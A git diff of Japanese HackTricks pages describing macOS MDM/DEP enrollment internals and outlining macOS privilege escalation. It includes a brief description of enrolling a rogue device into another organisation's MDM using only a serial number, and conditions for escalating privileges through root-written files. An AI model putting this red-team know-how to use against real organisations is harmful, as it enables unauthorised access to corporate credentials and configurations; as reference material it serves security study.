diff --git a/macos-hardening/macos-red-teaming/macos-mdm/README.md b/macos-hardening/macos-red-teaming/macos-mdm/README.md index bdd883510..9aa9d1954 100644 --- a/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,15 +2,15 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)を使って学ぶ! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)で学ぶ! HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。 -- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**でフォローする 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
@@ -22,36 +22,40 @@ HackTricksをサポートする他の方法: ## 基本 ### **MDM(モバイルデバイス管理)概要** -[モバイルデバイス管理](https://en.wikipedia.org/wiki/Mobile_device_management)(MDM)は、スマートフォン、ノートパソコン、タブレットなどのさまざまなエンドユーザーデバイスを管理するために使用されます。特にAppleのプラットフォーム(iOS、macOS、tvOS)では、専門機能、API、およびプラクティスが関与します。MDMの操作は、互換性のあるMDMサーバーに依存し、商用またはオープンソースである必要があり、[MDMプロトコル](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)をサポートする必要があります。主なポイントは次のとおりです: -- デバイスに対する集中制御。 -- MDMプロトコルに準拠するMDMサーバーへの依存。 -- MDMサーバーが、リモートデータ消去や構成のインストールなど、さまざまなコマンドをデバイスに送信できる能力。 +[モバイルデバイス管理](https://en.wikipedia.org/wiki/Mobile\_device\_management)(MDM)は、スマートフォン、ノートパソコン、タブレットなどのさまざまなエンドユーザーデバイスを管理するために使用されます。特にAppleのプラットフォーム(iOS、macOS、tvOS)では、専門機能、API、およびプラクティスが関与します。MDMの操作は、商用またはオープンソースの互換性のあるMDMサーバーに依存し、[MDMプロトコル](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)をサポートする必要があります。主なポイントは次のとおりです: + +- デバイスに対する集中制御 +- MDMプロトコルに準拠するMDMサーバーへの依存 +- MDMサーバーが、リモートデータ消去や構成のインストールなど、さまざまなコマンドをデバイスに送信できる能力 ### **DEP(デバイス登録プログラム)の基本** -Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf)(DEP)は、iOS、macOS、tvOSデバイスのゼロタッチ構成を容易にすることで、モバイルデバイス管理(MDM)の統合を効率化します。DEPは登録プロセスを自動化し、デバイスを最小限のユーザーまたは管理者の介入で即座に操作可能にします。主な側面は次のとおりです: -- デバイスが初めて起動されると、事前定義されたMDMサーバーに自動的に登録されるようにします。 -- 新しいデバイスに最適ですが、再構成中のデバイスにも適用できます。 -- 組織での使用にすばやく準備されるように、簡単なセットアップを容易にします。 +Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP\_Guide.pdf)(DEP)は、iOS、macOS、tvOSデバイスのゼロタッチ構成を容易にすることで、モバイルデバイス管理(MDM)の統合を効率化します。DEPは登録プロセスを自動化し、デバイスを箱から出してすぐに使用できるようにし、ユーザーまたは管理者の介入を最小限に抑えます。主な側面は次のとおりです: + +- デバイスが初めてアクティブ化されるときに事前定義されたMDMサーバーに自動的に登録できるようにする +- 新しいデバイスに特に有益ですが、再構成中のデバイスにも適用できます +- 簡単なセットアップを容易にし、デバイスを組織での使用にすばやく準備させます ### **セキュリティに関する考慮事項** -DEPによって提供される簡単な登録の利点はありますが、適切な保護措置がMDM登録に適切に施されていない場合、攻撃者はこの簡略化されたプロセスを悪用して、企業のMDMサーバーに自分のデバイスを登録し、法人デバイスを装ってしまう可能性があります。 + +DEPによる簡単な登録は有益ですが、適切な保護措置がMDM登録に適切に施されていない場合、攻撃者はこの簡略化されたプロセスを利用して、企業のMDMサーバーに自分のデバイスを登録し、法人デバイスとして偽装する可能性があります。 {% hint style="danger" %} **セキュリティアラート**: 簡略化されたDEP登録は、適切な保護措置が施されていない場合、組織のMDMサーバーに認可されていないデバイスの登録を許可する可能性があります。 {% endhint %} -### **SCEP(Simple Certificate Enrolment Protocol)とは?** +### **SCEP(Simple Certificate Enrolment Protocol)とは** -- TLSやHTTPSが普及する前に作成された比較的古いプロトコル。 -- クライアントに証明書署名リクエスト(CSR)を送信する標準化された方法を提供します。クライアントは、サーバーに署名された証明書を付与するように依頼します。 +- TLSやHTTPSが普及する前に作成された比較的古いプロトコル +- クライアントに証明書署名リクエスト(CSR)を送信し、証明書を取得するための標準化された方法を提供 +- クライアントはサーバーに署名された証明書を要求します -### **構成プロファイル(別名mobileconfigs)とは?** +### **構成プロファイルとは(モバイル構成ファイルとも呼ばれる)** -- Appleの公式方法で**システム構成を設定/強制する**ことです。 -- 複数のペイロードを含むファイル形式。 -- プロパティリスト(XMLタイプ)に基づいています。 +- Appleの公式方法で**システム構成を設定/強制**する +- 複数のペイロードを含むファイル形式 +- プロパティリスト(XMLタイプ)に基づく - 「起源を検証し、整合性を確保し、内容を保護するために署名と暗号化できます。」Basics — Page 70, iOS Security Guide, January 2018. ## プロトコル @@ -59,33 +63,33 @@ DEPによって提供される簡単な登録の利点はありますが、適 ### MDM - APNs(**Appleサーバー**)+ RESTful API(**MDMベンダーサーバー**)の組み合わせ -- **デバイス**と**デバイス管理製品**に関連するサーバー間で**通信**が行われます -- MDMからデバイスに**plistエンコードされた辞書**でコマンドが送信されます -- すべて**HTTPS**経由。MDMサーバーは(通常)ピン留めされます。 -- AppleはMDMベンダーに**APNs証明書**を認証するために付与します +- **デバイス**と**デバイス管理製品**に関連するサーバー間で**通信**が行われる +- MDMからデバイスへの**コマンド**は**plistエンコードされた辞書**で配信される +- すべて**HTTPS**経由。MDMサーバーは(通常)ピン留めされています。 +- AppleはMDMベンダーに**APNs証明書**を認証するために提供します ### DEP -- **3つのAPI**:販売店用1つ、MDMベンダー用1つ、デバイス識別用1つ(未公開): -- いわゆる[DEP "クラウドサービス"API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これは、MDMサーバーがDEPプロファイルを特定のデバイスに関連付けるために使用されます。 -- [Apple認定販売店が使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスの登録、登録状態の確認、トランザクション状態の確認に使用されます。 -- 未公開のプライベートDEP API。これは、AppleデバイスがDEPプロファイルをリクエストするために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信を行います。 -- より現代的で**JSON**ベース(vs. plist) -- AppleはMDMベンダーに**OAuthトークン**を付与します +- **3つのAPI**:販売業者用1つ、MDMベンダー用1つ、デバイス識別用1つ(未公開): +- いわゆる[DEP「クラウドサービス」API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これは、MDMサーバーがDEPプロファイルを特定のデバイスに関連付けるために使用されます。 +- [Apple認定販売業者が使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスの登録、登録状況の確認、トランザクション状況の確認に使用されます。 +- 未公開のプライベートDEP API。これはAppleデバイスがDEPプロファイルをリクエストするために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信を行います。 +- より現代的で**JSON**ベース(plistとは異なる) +- AppleはMDMベンダーに**OAuthトークン**を提供します -**DEP "クラウドサービス"API** +**DEP「クラウドサービス」API** - RESTful -- AppleからMDMサーバーへのデバイスレコードの同期 -- MDMサーバーからAppleへのDEPプロファイルの同期(後でデバイスに配信されます) -- DEP「プロファイル」には次のものが含まれます: +- AppleからMDMサーバーにデバイスレコードを同期 +- MDMサーバーからAppleに「DEPプロファイル」を同期(後でデバイスに提供されます) +- DEP「プロファイル」には次が含まれます: - MDMベンダーサーバーのURL - サーバーURLの追加信頼された証明書(オプションのピン留め) -- その他の設定(例:Setup Assistantでスキップする画面など) +- その他の設定(例:Setup Assistantでスキップする画面) ## シリアル番号 -2010年以降に製造されたAppleデバイスは、一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁は製造年**と**週**を示し、次の**3桁は一意の識別子**を提供し、最後の**4桁はモデル番号**を表します。 +2010年以降に製造されたAppleデバイスは、一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁は製造年**と**週**を示し、次の**3桁は一意の識別子**を提供し、**最後の4桁はモデル番号**を表します。 {% content-ref url="macos-serial-number.md" %} [macos-serial-number.md](macos-serial-number.md) @@ -93,67 +97,132 @@ DEPによって提供される簡単な登録の利点はありますが、適 ## 登録および管理手順 -1. デバイスレコードの作成(販売店、Apple):新しいデバイスのレコードが作成されます +1. デバイスレコードの作成(販売業者、Apple):新しいデバイスのレコードが作成されます 2. デバイスレコードの割り当て(顧客):デバイスがMDMサーバーに割り当てられます 3. デバイスレコードの同期(MDMベンダー):MDMはデバイスレコードを同期し、DEPプロファイルをAppleにプッシュします 4. DEPチェックイン(デバイス):デバイスがDEPプロファイルを取得します 5. プロファイルの取得(デバイス) -6. プロファイルのインストール(デバイス) a. MDM、SCEP、ルートCAペイロードを含む +6. プロファイルのインストール(デバイス) a. MDM、SCEP、およびルートCAペイロードを含む 7. MDMコマンドの発行(デバイス) -![](<../../../.gitbook/assets/image (564).png>) +![](<../../../.gitbook/assets/image (694).png>) ファイル`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`は、登録プロセスの**高レベルな「ステップ」**と見なすことができる関数をエクスポートします。 - ### ステップ4: DEPチェックイン - アクティベーションレコードの取得 -このプロセスのこの部分は、**ユーザーがMacを初めて起動**したとき(または完全なワイプ後) +このプロセスのこの部分は、**ユーザーがMacを初めて起動**したとき(または完全に消去した後) -![](<../../../.gitbook/assets/image (568).png>) +![](<../../../.gitbook/assets/image (1044).png>) -または`sudo profiles show -type enrollment`を実行したとき +または`sudo profiles show -type enrollment`を実行したときに発生します -- **デバイスがDEP対応かどうかを判断** -- アクティベーションレコードはDEP「プロファイル」の内部名です -- デバイスがインターネットに接続されるとすぐに開始 -- **`CPFetchActivationRecord`**によって駆動 -- **`cloudconfigurationd`**によってXPC経由で実装されます。デバイスが最初に起動されたときの**「セットアップアシスタント」**または**`profiles`**コマンドは、このデーモンにアクティベーションレコードを取得するように連絡します。 -- LaunchDaemon(常にrootとして実行) +* **デバイスがDEP対応かどうか**を判断する +* アクティベーションレコードはDEPの「プロファイル」の内部名です +* デバイスがインターネットに接続されるとすぐに開始されます +* **`CPFetchActivationRecord`**によって駆動されます +* **`cloudconfigurationd`**によって実装され、XPCを介して行われます。デバイスが最初に起動されるときの**「セットアップアシスタント」**または**`profiles`**コマンドは、このデーモンにアクティベーションレコードを取得するように連絡します。 +* LaunchDaemon(常にrootとして実行) -**`MCTeslaConfigurationFetcher`**によって実行されるアクティベーションレコードの取得手順は、**Absinthe**と呼ばれる暗号化を使用します。 +**`MCTeslaConfigurationFetcher`**によって実行されるアクティベーションレコードの取得には、**Absinthe**と呼ばれる暗号化が使用されます 1. **証明書を取得** - - GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)を取得 2. 証明書から状態を**初期化**(**`NACInit`**) - - `IOKit`を介したさまざまなデバイス固有データを使用(たとえば、**シリアル番号**) +1. **`IOKit`**を介したデバイス固有のデータを使用します(たとえば、**シリアル番号**) 3. **セッションキーを取得** - - POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)にPOST 4. セッションを確立(**`NACKeyEstablishment`**) 5. リクエストを作成 - - `{ "action": "RequestProfileConfiguration", "sn": "" }`というデータを送信して、[https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にPOST - - JSONペイロードはAbsintheを使用して暗号化されます(**`NACSign`**) - - すべてのリクエストはHTTPS経由で行われ、組み込みのルート証明書が使用されます +1. `{ "action": "RequestProfileConfiguration", "sn": "" }`というデータを送信して[https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にPOST +2. JSONペイロードはAbsintheを使用して暗号化されます(**`NACSign`**) +3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます -![](<../../../.gitbook/assets/image (566).png>) +![](<../../../.gitbook/assets/image (566) (1).png>) 応答は、次のような重要なデータを含むJSON辞書です: -- **url**:アクティベーションプロファイルのMDMベンダーホストのURL -- **anchor-certs**:信頼されたアンカーとして使用されるDER証明書の配列 +* **url**:アクティベーションプロファイルのMDMベンダーホストのURL +* **anchor-certs**:信頼されるアンカーとして使用されるDER証明書の配列 ### **ステップ5: プロファイルの取得** -![](<../../../.gitbook/assets/image (567).png>) +![](<../../../.gitbook/assets/image (444).png>) -- DEPプロファイルで提供された**URL**にリクエストを送信します。 -- **アンカー証明書**が提供された場合、**信頼を評価**するために使用されます。 -- 注意:DEPプロファイルの**anchor\_certs**プロパティ -- リクエストは、デバイス識別情報などの**.plist**形式で送信されます -- 例:**UDID、OSバージョン**。 -- CMSで署名され、DERでエンコードされます -- **デバイス識別証明書(APNSから)**を使用して署名されます -- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれます +* DEPプロファイルで提供された**URL**にリクエストを送信します。 +* **アンカー証明書**が提供された場合、**信頼性を評価**するために使用されます。 +* リマインダー:DEPプロファイルの**anchor\_certs**プロパティ +* デバイス識別情報を含む、単純な.plist形式のリクエスト +* 例:**UDID、OSバージョン**。 +* CMSで署名され、DERでエンコードされています +* **デバイス識別証明書(APNSから)**を使用して署名されています +* **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれています -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### **ステップ6: プロファイ +### ステップ6: プロファイルのインストール + +* 取得した後、**プロファイルはシステムに保存**されます +* このステップは自動的に開始されます(**セットアップアシスタント**にある場合) +* **`CPInstallActivationProfile`**によって駆動されます +* mdmclientによってXPCを介して実装されます +* LaunchDaemon(rootとして)またはLaunchAgent(ユーザーとして)、コンテキストに応じて異なります +* 構成プロファイルには複数のペイロードが含まれています +* フレームワークには、プロファイルをインストールするためのプラグインベースのアーキテクチャがあります +* 各ペイロードタイプはプラグインに関連付けられています +* XPC(フレームワーク内)またはクラシックなCocoa(ManagedClient.app内)になります +* 例: +* 証明書ペイロードはCertificateService.xpcを使用します + +通常、MDMベンダーによって提供される**アクティベーションプロファイル**には、次のペイロードが含まれます: + +* `com.apple.mdm`:デバイスをMDMに**登録**するため +* `com.apple.security.scep`:デバイスに**クライアント証明書**を安全に提供するため +* `com.apple.security.pem`:デバイスのシステムキーチェーンに**信頼されるCA証明書**を**インストール**するため +* MDMペイロードをインストールすることは、ドキュメントのMDMチェックインに相当します +* ペイロードには次の**主要なプロパティ**が含まれます: +* +* MDMチェックインURL(**`CheckInURL`**) +* MDMコマンドポーリングURL(**`ServerURL`**)+ トリガーするAPNsトピック +* MDMペイロードをインストールするには、**`CheckInURL`**にリクエストを送信します +* **`mdmclient`**で実装されています +* MDMペイロードは他のペイロードに依存する場合があります +* **リクエストを特定の証明書にピン留めする**ことができます: +* プロパティ:**`CheckInURLPinningCertificateUUIDs`** +* プロパティ:**`ServerURLPinningCertificateUUIDs`** +* PEMペイロードを介して配信されます +* デバイスに識別証明書を付与することができます: +* プロパティ:IdentityCertificateUUID +* SCEPペイロードを介して配信されます + +### **ステップ7: MDMコマンドの受信** + +MDMチェックインが完了すると、ベンダーはAPNsを使用して**プッシュ通知を発行**できます +受信後、**`mdmclient`**によって処理されます +MDMコマンドをポーリングするために、リクエストが**ServerURL**に送信されます +以前にインストールされたMDMペイロードを使用します: +リクエストをピン留めするための**`ServerURLPinningCertificateUUIDs`**、TLSクライアント証明書には**`IdentityCertificateUUID`**を使用します + +## 攻撃 + +### 他の組織へのデバイス登録 + +以前にコメントしたように、組織にデバイスを登録しようとするためには、その組織に属する**シリアル番号**だけが必要です。デバイスが登録されると、複数の組織が新しいデバイスに機密データをインストールします:証明書、アプリケーション、WiFiパスワード、VPN構成など。\ +したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険なエントリーポイントとなり得ます: + +{% content-ref url="enrolling-devices-in-other-organisations.md" %} +[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) +{% endcontent-ref %} + +
+ +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) + +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index d3c31f51f..bb0aa17fa 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -2,38 +2,38 @@
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**する。 -- **ハッキングトリックを共有**するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る +- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@carlospolopm**(https://twitter.com/hacktricks_live)をフォローする。 +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
-
+
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! **ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する -**リアルタイムのハックニュース**\ +**リアルタイムハックニュース**\ リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ -**最新のアナウンスメント**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手 +**最新の発表**\ +最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する -**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう! +[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! ## 基本的なMacOS MacOSに慣れていない場合は、MacOSの基本を学ぶことから始めるべきです: -- 特別なMacOS **ファイルと権限:** +- 特別なMacOS **ファイル&権限:** {% content-ref url="macos-files-folders-and-binaries/" %} [macos-files-folders-and-binaries](macos-files-folders-and-binaries/) @@ -51,20 +51,20 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め [macos-applefs.md](macos-applefs.md) {% endcontent-ref %} -- **カーネルのアーキテクチャ** +- **カーネル**の **アーキテクチャ** {% content-ref url="mac-os-architecture/" %} [mac-os-architecture](mac-os-architecture/) {% endcontent-ref %} -- 一般的なMacOS **ネットワークサービスとプロトコル** +- 一般的なMacOS **ネットワークサービス&プロトコル** {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} - **オープンソース**MacOS: [https://opensource.apple.com/](https://opensource.apple.com/) -- `tar.gz`をダウンロードするには、[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)のようなURLを[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)に変更します +- `tar.gz`をダウンロードするには、[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)のようなURLを[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)に変更します。 ### MacOS MDM @@ -90,23 +90,23 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め ### ファイル権限 -**rootとして実行されるプロセスが**ユーザーによって制御可能なファイルを書き込む場合、ユーザーはこれを悪用して**特権昇格**を行う可能性があります。\ +**rootとして実行されているプロセスが**ユーザーによって制御可能なファイルに書き込む場合、ユーザーはこれを悪用して**特権を昇格**する可能性があります。\ これは次の状況で発生する可能性があります: -- 使用されるファイルはすでにユーザーによって作成されていた(ユーザー所有) -- 使用されるファイルはグループによって書き込み可能になっている -- 使用されるファイルがユーザー所有のディレクトリ内にある(ユーザーがファイルを作成できる) -- 使用されるファイルがroot所有のディレクトリ内にありますが、ユーザーがグループによる書き込みアクセス権を持っているため(ユーザーがファイルを作成できる) +- 使用されたファイルはすでにユーザーによって作成されていた(ユーザー所有) +- 使用されたファイルはグループによって書き込み可能である +- 使用されたファイルがユーザー所有のディレクトリ内にある(ユーザーがファイルを作成できる) +- 使用されたファイルがroot所有のディレクトリ内にありますが、ユーザーがグループによる書き込みアクセス権を持っているため(ユーザーがファイルを作成できる) -**rootが使用するファイル**を**作成**できるようになると、ユーザーはその内容を利用したり、別の場所を指す**シンボリックリンク/ハードリンク**を作成したりすることができます。 +**rootが使用するファイル**を**作成できる**ようになると、ユーザーはその内容を**利用**したり、別の場所を指す**シンボリックリンク/ハードリンク**を作成したりすることができます。 -この種の脆弱性をチェックする際には、**脆弱な`.pkg`インストーラー**を確認することを忘れないでください: +この種の脆弱性をチェックする際には、**脆弱な`.pkg`インストーラー**を忘れずにチェックしてください: {% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} [macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md) {% endcontent-ref %} -### ファイル拡張子とURLスキームアプリハンドラ +### ファイル拡張子&URLスキームアプリハンドラ ファイル拡張子によって登録された奇妙なアプリケーションは悪用され、異なるアプリケーションが特定のプロトコルを開くように登録される可能性があります @@ -116,13 +116,13 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め ## macOS TCC / SIP特権昇格 -macOSでは、**アプリケーションやバイナリには**他のものよりも特権の高いフォルダや設定にアクセスする**権限**が与えられることがあります。 +macOSでは、**アプリケーションやバイナリには**他のものよりも特権の高いフォルダや設定にアクセスするための**権限**が与えられることがあります。 -したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格**する必要があります(または、必要に応じて**SIPをバイパス**する必要があります)。 +したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC特権を昇格**する必要があります(または、彼のニーズに応じて**SIPをバイパス**する必要があります)。 -これらの権限は、アプリケーションが署名されている**権限**として付与される場合があり、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認**した後、それらは**TCCデータベース**で見つけることができます。プロセスがこれらの権限を取得する別の方法は、それらの**権限を持つプロセスの子プロセス**であることです。 +これらの特権は、アプリケーションが署名されている**権限**として与えられることが一般的であり、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**、それらは**TCCデータベース**で見つけることができます。プロセスがこれらの特権を取得する別の方法は、それらが通常**継承**されるため、それらの**特権を持つプロセスの子プロセス**であることです。 -これらのリンクに従って、[**TCCでの特権昇格**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCのバイパス**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)、過去に**SIPがバイパス**された方法について調べてください。 +これらのリンクに従って、[**TCCで特権を昇格**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)するさまざまな方法、[**TCCをバイパス**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)する方法、過去に**SIPがバイパス**された方法を見つけてください。 ## macOS従来の特権昇格 @@ -131,40 +131,39 @@ macOSでは、**アプリケーションやバイナリには**他のものよ {% content-ref url="macos-privilege-escalation.md" %} [macos-privilege-escalation.md](macos-privilege-escalation.md) {% endcontent-ref %} - ## 参考文献 -- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) -- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) -- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) -- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) -- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) +* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) +* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) +* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) +* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
+
